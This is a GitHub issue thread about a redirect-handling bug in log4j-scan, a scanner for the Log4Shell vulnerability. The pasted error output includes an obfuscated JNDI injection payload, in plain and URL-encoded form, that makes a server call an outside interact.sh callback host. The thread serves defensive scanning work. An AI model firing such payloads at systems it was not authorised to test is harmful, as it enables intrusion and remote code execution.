Giters

fullhunt / log4j-scan

A fully automated, accurate, and extensive scanner for finding log4j RCE CVE-2021-44228

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

http-to-https redirects are not handled well during scanning (exception, timeout)

perskes opened this issue · comments

commented

System:

Windows 10 - Python 3.10, Pycharms IDE and Terminal

Linux (WSL2) - Python 3.8

Problem:

http://my.awesome.site is redirected to https://my.awesome.site (set on the firewall).
This causes the following error/throwup/dump:

[•] URL: http://my.awesome.site | PAYLOAD: ${${lower:${lower:jndi}}:${lower:rmi}://my.awesome.site.5rv6412dr7774p2yq16snj4v3842g500s.interact.sh/ikhn0qc}
EXCEPTION: HTTPConnectionPool(host='my.awesome.site', port=80): Max retries exceeded with url: /?v=%24%7B%24%7Blower%3A%24%7Blower%3Ajndi%7D%7D%3A%24%7Blower%3Armi%7D%3A%2F%2Fmy.awesome.site.5rv6412dr7774p2yq16snj4v3842g500s.interact.sh%2Fikhn0qc%7D (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f1d0b353f10>, 'Connection to my.awesome.site timed out. (connect timeout=4)'))
EXCEPTION: HTTPConnectionPool(host='my.awesome.site', port=80): Max retries exceeded with url: /?v=%24%7B%24%7Blower%3A%24%7Blower%3Ajndi%7D%7D%3A%24%7Blower%3Armi%7D%3A%2F%2Fmy.awesome.site.5rv6412dr7774p2yq16snj4v3842g500s.interact.sh%2Fikhn0qc%7D (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f1d0ae45e20>, 'Connection to my.awesome.site timed out. (connect timeout=4)'))
EXCEPTION: HTTPConnectionPool(host='my.awesome.site', port=80): Max retries exceeded with url: /?v=%24%7B%24%7Blower%3A%24%7Blower%3Ajndi%7D%7D%3A%24%7Blower%3Armi%7D%3A%2F%2Fmy.awesome.site.5rv6412dr7774p2yq16snj4v3842g500s.interact.sh%2Fikhn0qc%7D (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f1d0b331ee0>, 'Connection to my.awesome.site timed out. (connect timeout=4)'))

The browser gets a 302 redirect, while the scanner does not follow the redirect and instead retries the same url two more times.
This is very time inefficient and causes my traces to take much longer than they should.

Besides that, the tool works amazingly well, and this is just something that bugs me.
It's fully functional even with that problem.

commented

Hi @perskes

Thank you very much for your suggestion! I just added this option now :)

0502467

--disable-http-redirects

This should disable web redirects when used.

commented

while the scanner does not follow the redirect

@perskes : Can you explain a little bit more your use case please ? Because I'm not sure to understand where come from the ConnectTimeoutError.

Because from real tests or below snippet, log4j-scan is following the http->http(s) redirects.

Snippet:

  • On your host, execute a https port sniffer (sample: sudo tcpflow -i any -C -J port 443)
  • On other windows, execute python3 log4j-scan.py -u http://github.com --custom-dns-callback-host "noexist" (http://github.com redirects to https://github.com)

You can see some activity on https port (=> redirection).